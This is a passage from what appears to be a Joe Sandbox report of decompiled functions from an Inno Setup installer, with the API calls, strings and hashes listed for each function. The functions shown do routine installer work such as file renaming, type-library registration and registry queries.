					if(_t31 != 0 || _v8 != 0xffffffff) {
						_t32 = _v8 - _t31 + 1;
					} else {
						_t32 = SendMessageA(E004181C4(__eax), 0xe, 0, 0);
					}
					E004038BC( &_v16, _t32);
					_v28 = _v12;
					_v24 = _v8;
					_v20 = E00403750(_v16);
					E004038BC( &_v16, SendMessageA(E004181C4(_t53), 0x44b, 0,  &_v28));
					if(_v16 != 0) {
						_t46 = E00403750(_v16);
						ShellExecuteA(E004181C4(_t53), "open", _t46, 0, 0, 1);
					}
				}
				_pop(_t60);
				 *[fs:eax] = _t60;
				_push(0x44f46d);
				return E00403418( &_v16);
			}

0x0044f37f
0x0044f382
0x0044f386
0x0044f387
0x0044f38c
0x0044f38f
0x0044f392
0x0044f39e
0x0044f3b4
0x0044f3ba
0x0044f3bd
0x0044f3c2
0x0044f3e5
0x0044f3ca
0x0044f3d8
0x0044f3d8
0x0044f3eb
0x0044f3f3
0x0044f3f9
0x0044f404
0x0044f424
0x0044f42d
0x0044f438
0x0044f44b
0x0044f44b
0x0044f42d
0x0044f452
0x0044f455
0x0044f458
0x0044f465

APIs

SendMessageA.USER32(00000000,0000000E,00000000,00000000), ref: 0044F3D8
SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 0044F41A
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0044F44B

Strings

open, xrefs: 0044F43E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessageSend$ExecuteShell
String ID: open
API String ID: 2179883421-2758837156
Opcode ID: 8d80b9c82b0a76361b38064e088d6aeaa5eb5f4118ce6336a6d1d0298eb6e2e7
Instruction ID: d594631ee7f1ae48ac709d007f4123db1ab5c6be92308301378f02d27c9fdfb2
Opcode Fuzzy Hash: 8d80b9c82b0a76361b38064e088d6aeaa5eb5f4118ce6336a6d1d0298eb6e2e7
Instruction Fuzzy Hash: 04216170E40204AFEB10EF69CC82B9EB7B8AB44714F10817BB511F72D1DB78AE458A58

Uniqueness

Uniqueness Score: -1.00%

Function 0048D3CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0048D3CC(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				CHAR* _t42;
				char _t55;
				intOrPtr _t65;
				void* _t69;
				signed int _t71;
				void* _t75;

				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t75);
				_push(0x48d4c2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75 + 0xffffffe4;
				E00403418(_v12);
				E0042C888(_v8, 0,  &_v16);
				_t69 = 0;
				_t55 = 0;
				do {
					_v32 = _t55;
					_v28 = 0;
					E0040788C("isRS-%.3u.tmp", 0,  &_v32,  &_v24);
					E004035D8( &_v20, _v24, _v16);
					_t71 = GetFileAttributesA(E00403750(_v20));
					if(_t71 == 0xffffffff) {
						L5:
						_t42 = E00403750(_v20);
						if(MoveFileExA(E00403750(_v8), _t42, 1) == 0) {
							_t69 = _t69 + 1;
							if(_t69 == 0xa) {
								break;
							}
							goto L8;
						}
						E004034AC(_v12, _v20);
						break;
					}
					if((_t71 & 0x00000010) != 0) {
						goto L8;
					}
					if((_t71 & 0x00000001) != 0) {
						SetFileAttributesA(E00403750(_v20), _t71 & 0xfffffffe);
					}
					goto L5;
					L8:
					_t55 = _t55 + 1;
				} while (_t55 != 0x3e8);
				_pop(_t65);
				 *[fs:eax] = _t65;
				_push(E0048D4C9);
				return E00403438( &_v24, 3);
			}

0x0048d3d7
0x0048d3da
0x0048d3dd
0x0048d3e0
0x0048d3e3
0x0048d3e8
0x0048d3e9
0x0048d3ee
0x0048d3f1
0x0048d3f7
0x0048d402
0x0048d407
0x0048d409
0x0048d40b
0x0048d40f
0x0048d412
0x0048d420
0x0048d42e
0x0048d441
0x0048d446
0x0048d46a
0x0048d46f
0x0048d485
0x0048d494
0x0048d498
0x00000000
0x00000000
0x00000000
0x0048d498
0x0048d48d
0x00000000
0x0048d48d
0x0048d44e
0x00000000
0x00000000
0x0048d456
0x0048d465
0x0048d465
0x00000000
0x0048d49a
0x0048d49a
0x0048d49b
0x0048d4a9
0x0048d4ac
0x0048d4af
0x0048d4c1

APIs

GetFileAttributesA.KERNEL32(00000000,0048DC69,00000000,0048D4C2,?,?,00000000,0048F628), ref: 0048D43C
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,0048DC69,00000000,0048D4C2,?,?,00000000,0048F628), ref: 0048D465
MoveFileExA.KERNEL32 ref: 0048D47E

Strings

isRS-%.3u.tmp, xrefs: 0048D41B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: da374f06aa09420c1cd24a0cf3d824fda0cd3be492eff802b8247247c293a327
Instruction ID: 590f0f0d50fa6108802e31e12c00657aa42c043d559cd0ea5b6598a5f09708e9
Opcode Fuzzy Hash: da374f06aa09420c1cd24a0cf3d824fda0cd3be492eff802b8247247c293a327
Instruction Fuzzy Hash: D8219870D011196BCB04FFA9CC81AAFB7B8EF44714F10453AA814F32D1D67C6E018B58

Uniqueness

Uniqueness Score: -1.00%

Function 0045456C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0045456C(void* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr* _t23;
				intOrPtr _t39;
				void* _t45;
				void* _t46;
				intOrPtr _t47;

				_t43 = __esi;
				_t42 = __edi;
				_t45 = _t46;
				_t47 = _t46 + 0xfffffff4;
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t32 = __eax;
				_push(_t45);
				_push(0x454654);
				_push( *[fs:eax]);
				 *[fs:eax] = _t47;
				E0042C738(__eax,  &_v16);
				_v8 = E00403CBC(_v16);
				if(_v8 == 0) {
					E00408B98();
				}
				_push(_t45);
				_push(0x454637);
				_push( *[fs:edx]);
				 *[fs:edx] = _t47;
				_push( &_v12);
				_t19 = _v8;
				_push(_t19);
				L0042CB84();
				_t49 = _t19;
				if(_t19 != 0) {
					E0045187C("LoadTypeLib", _t32, _t19, _t42, _t43, _t49);
				}
				_push(_t45);
				_push(0x454619);
				_push( *[fs:edx]);
				 *[fs:edx] = _t47;
				_push(0);
				_push(_v8);
				_t21 = _v12;
				_push(_t21);
				L0042CB8C();
				_t50 = _t21;
				if(_t21 != 0) {
					E0045187C("RegisterTypeLib", _t32, _t21, _t42, _t43, _t50);
				}
				_pop(_t39);
				 *[fs:eax] = _t39;
				_t23 = _v12;
				return  *((intOrPtr*)( *_t23 + 8))(_t23, E00454620);
			}

0x0045456c
0x0045456c
0x0045456d
0x0045456f
0x00454573
0x00454574
0x00454577
0x0045457a
0x0045457e
0x0045457f
0x00454584
0x00454587
0x0045458f
0x0045459c
0x004545a3
0x004545a5
0x004545a5
0x004545ac
0x004545ad
0x004545b2
0x004545b5
0x004545bb
0x004545bc
0x004545bf
0x004545c0
0x004545c5
0x004545c7
0x004545d0
0x004545d0
0x004545d7
0x004545d8
0x004545dd
0x004545e0
0x004545e3
0x004545e8
0x004545e9
0x004545ec
0x004545ed
0x004545f2
0x004545f4
0x004545fd
0x004545fd
0x00454604
0x00454607
0x0045460f
0x00454618

APIs

Part of subcall function 0042C738: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C75C

Part of subcall function 00403CBC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CF6
Part of subcall function 00403CBC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403D01

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 004545C0
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 004545ED

Strings

LoadTypeLib, xrefs: 004545CB
RegisterTypeLib, xrefs: 004545F8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: 66fba9a3efcefaf8abb209dd86a387d39cd04f7aeba129959e3b5c190f0f1fed
Instruction ID: 9e7d3eed9420e96e98b4ffd8ab70e8db3cf66198a8ad69df7fdc2f6129c4d7e7
Opcode Fuzzy Hash: 66fba9a3efcefaf8abb209dd86a387d39cd04f7aeba129959e3b5c190f0f1fed
Instruction Fuzzy Hash: 6511B470B00604BFD710EFA6DC51B4EBBADEB8A309F108476F904D7652DA3C9D44CA18

Uniqueness

Uniqueness Score: -1.00%

Function 00468558 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00468558(FILETIME* __eax, void* __edx) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				struct _SYSTEMTIME _v76;
				struct _FILETIME _v84;
				void* _t41;
				struct _FILETIME* _t46;

				_t41 = __edx;
				FileTimeToLocalFileTime(__eax, _t46);
				if(FileTimeToSystemTime( &_v84,  &_v76) == 0) {
					return E004034AC(_t41, "(invalid)");
				}
				_v60 = _v76.wYear & 0x0000ffff;
				_v56 = 0;
				_v52 = _v76.wMonth & 0x0000ffff;
				_v48 = 0;
				_v44 = _v76.wDay & 0x0000ffff;
				_v40 = 0;
				_v36 = _v76.wHour & 0x0000ffff;
				_v32 = 0;
				_v28 = _v76.wMinute & 0x0000ffff;
				_v24 = 0;
				_v20 = _v76.wSecond & 0x0000ffff;
				_v16 = 0;
				_v12 = _v76.wMilliseconds & 0x0000ffff;
				_v8 = 0;
				return E0040788C("%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u", 6,  &_v60, _t41);
			}

0x0046855c
0x00468560
0x00468576
0x00000000
0x004685f7
0x0046857e
0x00468582
0x0046858c
0x00468590
0x0046859a
0x0046859e
0x004685a8
0x004685ac
0x004685b6
0x004685ba
0x004685c4
0x004685c8
0x004685d2
0x004685d6
0x00000000

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 00468560
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046856F

Strings

(invalid), xrefs: 004685F2
%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 004685E4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: a357ac15713120fb92cd8febf7d1a530414491eb9c6a31f70f403759793ab6e5
Instruction ID: 1a03eee91b69854eff7ce2b3f4f25234da1b29834e82ffa079989c22f4912ddb
Opcode Fuzzy Hash: a357ac15713120fb92cd8febf7d1a530414491eb9c6a31f70f403759793ab6e5
Instruction Fuzzy Hash: 50110AA040C3919AD340DF2AC44032BBBE4AB89714F04896EF8D8D6391E77DC948DB7B

Uniqueness

Uniqueness Score: -1.00%

Function 004521C2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E004521C2(void* __edx) {
				CHAR* _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t38;

				_t27 = E00403750( *((intOrPtr*)(_t38 - 0x10)));
				SetFileAttributesA(_t27, 0x20);
				if(E00406EE8( *((intOrPtr*)(_t38 - 0x10))) == 0) {
					E00451868("DeleteFile");
				}
				if(MoveFileA(E00403750( *((intOrPtr*)(_t38 - 0x14))), _t27) == 0) {
					E00451868("MoveFile");
				}
				_pop(_t33);
				 *[fs:eax] = _t33;
				_pop(_t34);
				 *[fs:eax] = _t34;
				_push(E004522B9);
				E00403438(_t38 - 0x30, 2);
				E00403438(_t38 - 0x24, 2);
				return E00403438(_t38 - 0x14, 5);
			}

0x004521cc
0x004521cf
0x004521de
0x004521e5
0x004521e5
0x004521fb
0x00452202
0x00452202
0x00452209
0x0045220c
0x0045227f
0x00452282
0x00452285
0x00452292
0x0045229f
0x004522b1

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 004521CF

Part of subcall function 00406EE8: DeleteFileA.KERNEL32(00000000,0048F628,0048D89E,00000000,0048D8F3,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EF3

MoveFileA.KERNEL32 ref: 004521F4

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

Strings

DeleteFile, xrefs: 004521E0
MoveFile, xrefs: 004521FD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: 123f48d79d574da9d0afee727d89f8f41ee1a9216ba592c855740c09e5e2651e
Instruction ID: 73cd3731637806c9e239ea355c70be816798c2ab8ed9feda3c0043baa9865e71
Opcode Fuzzy Hash: 123f48d79d574da9d0afee727d89f8f41ee1a9216ba592c855740c09e5e2651e
Instruction Fuzzy Hash: 59F086742042444AEB04FBB6D942A6F63E8DB45306F60443BFC04B76C3DA7C9D09893C

Uniqueness

Uniqueness Score: -1.00%

Function 0047A324 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0047A324(void* __eflags) {
				void* _v8;
				int _v12;
				int _v16;
				char _v20;
				void* _t13;

				_t13 = E0042DC1C(0, "System\\CurrentControlSet\\Control\\Windows", 0x80000002,  &_v8, 1, 0);
				if(_t13 == 0) {
					_v12 = 4;
					if(RegQueryValueExA(_v8, "CSDVersion", 0,  &_v16,  &_v20,  &_v12) == 0 && _v16 == 4 && _v12 == 4) {
						 *0x490244 = _v20;
					}
					return RegCloseKey(_v8);
				}
				return _t13;
			}

0x0047a33e
0x0047a345
0x0047a347
0x0047a36c
0x0047a37e
0x0047a37e
0x00000000
0x0047a388
0x0047a390

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047A365
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047A388

Strings

CSDVersion, xrefs: 0047A35C
System\CurrentControlSet\Control\Windows, xrefs: 0047A332

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 0417c6deb749b333bfe0f37695fb775cc13902ad7745e467610162d9abc67fa6
Instruction ID: 4d0d098675958abd99c59db276b877f044ce08efc5c483be0c27f9dac492b315
Opcode Fuzzy Hash: 0417c6deb749b333bfe0f37695fb775cc13902ad7745e467610162d9abc67fa6
Instruction Fuzzy Hash: 85F04475E00209EAEF10DED18C45BDFB3BC9B44704F108567FA18E7280E67C9A548B6B

Uniqueness

Uniqueness Score: -1.00%

Function 0042D7AC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0042D7AC(void* __eax) {
				char _v268;
				_Unknown_base(*)()* _t6;
				void* _t9;
				void* _t13;

				_t9 = __eax;
				E00403418(__eax);
				_t6 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetSystemWow64DirectoryA");
				if(_t6 != 0) {
					_t6 =  *_t6( &_v268, 0x105);
					if(_t6 > 0 && _t6 < 0x105) {
						return E00403574(_t9, 0x105, _t13);
					}
				}
				return _t6;
			}

0x0042d7b3
0x0042d7b7
0x0042d7cc
0x0042d7d3
0x0042d7df
0x0042d7e3
0x00000000
0x0042d7f5
0x0042d7e3
0x0042d801

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00451ECA,00000000,00451F6D,?,?,00000000,00000000,00000000,00000000,00000000,?,00452239,00000000), ref: 0042D7C6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D7CC

Strings

kernel32.dll, xrefs: 0042D7C1
GetSystemWow64DirectoryA, xrefs: 0042D7BC

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: 8a30ddc55fc689d3c3f8c4bfc58232c6cdc9ec5b771d74d1fc17cd83e1762f27
Instruction ID: 216c82e5c178693522dd7469f913417b51dece3e0b849151a4bde9421215c481
Opcode Fuzzy Hash: 8a30ddc55fc689d3c3f8c4bfc58232c6cdc9ec5b771d74d1fc17cd83e1762f27
Instruction Fuzzy Hash: ABE026A0F40B1126D720757E2C83A5B108D8BC4725FA0443F7956E52D7EDFCC94006BD

Uniqueness

Uniqueness Score: -1.00%

Function 00409B18 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00409B18() {
				_Unknown_base(*)()* _t2;
				_Unknown_base(*)()* _t4;

				_t2 = GetProcAddress(GetModuleHandleA("user32.dll"), "SetProcessDPIAware");
				_t4 = _t2;
				if(_t4 != 0) {
					return  *_t4();
				}
				return _t2;
			}

0x00409b29
0x00409b2e
0x00409b32
0x00000000
0x00409b34
0x00409b37

APIs

GetModuleHandleA.KERNEL32(user32.dll,SetProcessDPIAware,?,00409B5D,0048DCBD), ref: 00409B23
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00409B29

Strings

user32.dll, xrefs: 00409B1E
SetProcessDPIAware, xrefs: 00409B19

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetProcessDPIAware$user32.dll
API String ID: 1646373207-1137607222
Opcode ID: 4d190fb78413c4bd0883655ca5f6bd8107793786181136429c932c165ebb40cb
Instruction ID: eab02f189f05b274720f6d510884989c2924ac651145e97c4e780478f5688ef0
Opcode Fuzzy Hash: 4d190fb78413c4bd0883655ca5f6bd8107793786181136429c932c165ebb40cb
Instruction Fuzzy Hash: 58B092C1382B46A6ED10B2F22CD7E6B6B6CA920B79720413B7380751C3CDBDEC10552E

Uniqueness

Uniqueness Score: -1.00%

Function 0048DAB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0048DAB0() {
				_Unknown_base(*)()* _t2;

				_t2 = GetProcAddress(GetModuleHandleA("user32.dll"), "DisableProcessWindowsGhosting");
				if(_t2 != 0) {
					return  *_t2();
				}
				return _t2;
			}

0x0048dac0
0x0048dac7
0x00000000
0x0048dac9
0x0048dacb

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048DD2C,00000001,00000000,0048DD50), ref: 0048DABA
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0048DAC0

Strings

DisableProcessWindowsGhosting, xrefs: 0048DAB0
user32.dll, xrefs: 0048DAB5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: ae566bde2fc7f01c2885b68a039f4b5741a3c27302e5ea3702dd7d159761417c
Instruction ID: 43d8801982fa3daa7d9ed8f0223e906238e62c9c07c1a204c8a680c842ecbdc6
Opcode Fuzzy Hash: ae566bde2fc7f01c2885b68a039f4b5741a3c27302e5ea3702dd7d159761417c
Instruction Fuzzy Hash: E5B09280E4AB02608C1832B20C02A1F0A08488072873808273400A00C3CD6C8500466D

Uniqueness

Uniqueness Score: -1.00%

Function 0045F050 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045F050() {
				_Unknown_base(*)()* _t3;

				E0044A890();
				_t3 = GetProcAddress(LoadLibraryA("shell32.dll"), "SHPathPrepareForWriteA");
				 *0x48ff38 = _t3;
				return _t3;
			}

0x0045f050
0x0045f065
0x0045f06a
0x0045f06f

APIs

Part of subcall function 0044A890: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044EBAD,0048DCE5), ref: 0044A8B7
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044A8CF
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044A8E1
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044A8F3
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044A905
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044A917
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044A929
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044A93B
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044A94D
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044A95F
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044A971
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044A983
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044A995
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044A9A7
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044A9B9
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044A9CB
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044A9DD
Part of subcall function 0044A890: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044A9EF

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0048DD03), ref: 0045F05F
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0045F065

Strings

shell32.dll, xrefs: 0045F05A
SHPathPrepareForWriteA, xrefs: 0045F055

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: 5d519e86c63e78d57e5057e0c841dd2176684f15296313c83dba8c66038960cd
Instruction ID: 7d0747962de82d9d2aac18a7f55b25c3ffa35f9cf178e03a243595302916d775
Opcode Fuzzy Hash: 5d519e86c63e78d57e5057e0c841dd2176684f15296313c83dba8c66038960cd
Instruction Fuzzy Hash: ADB092B0A91B00609E00F7BA1883B0F1098C449B1AB2406BF35047A0D3CA7C104D8A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00413CDC Relevance: 6.1, APIs: 4, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00413CDC(intOrPtr* __eax, void* __ecx, signed int __edx) {
				intOrPtr* _t20;
				intOrPtr _t22;
				struct HICON__* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t28;
				struct HWND__* _t30;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t34;
				intOrPtr _t43;
				struct HWND__* _t44;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t51;
				intOrPtr* _t54;
				void* _t62;
				void* _t71;
				intOrPtr _t72;
				intOrPtr* _t73;
				void* _t79;

				_push(__ecx);
				_t54 = __eax;
				if( *0x48f5f8 != 0) {
					L3:
					if( *0x48f5f8 == 0) {
						_t78 =  *0x48f5fc;
						if( *0x48f5fc != 0) {
							_t43 =  *0x48f5e8; // 0x0
							_t44 = GetDesktopWindow();
							_t45 =  *0x48f5fc; // 0x0
							E00418D4C(_t45, _t44, _t78, _t43);
						}
					}
					 *0x48f5f8 = 1;
					_t72 = E00413C84(_t54, _t73);
					_t79 = _t72 -  *0x48f5d8; // 0x0
					if(_t79 != 0) {
						E00413CA8(1);
						 *0x48f5d8 = _t72;
						 *0x48f5dc =  *_t73;
						 *0x48f5ec =  *_t54;
						 *0x48f5f0 =  *((intOrPtr*)(_t54 + 4));
						E00413CA8(0);
					}
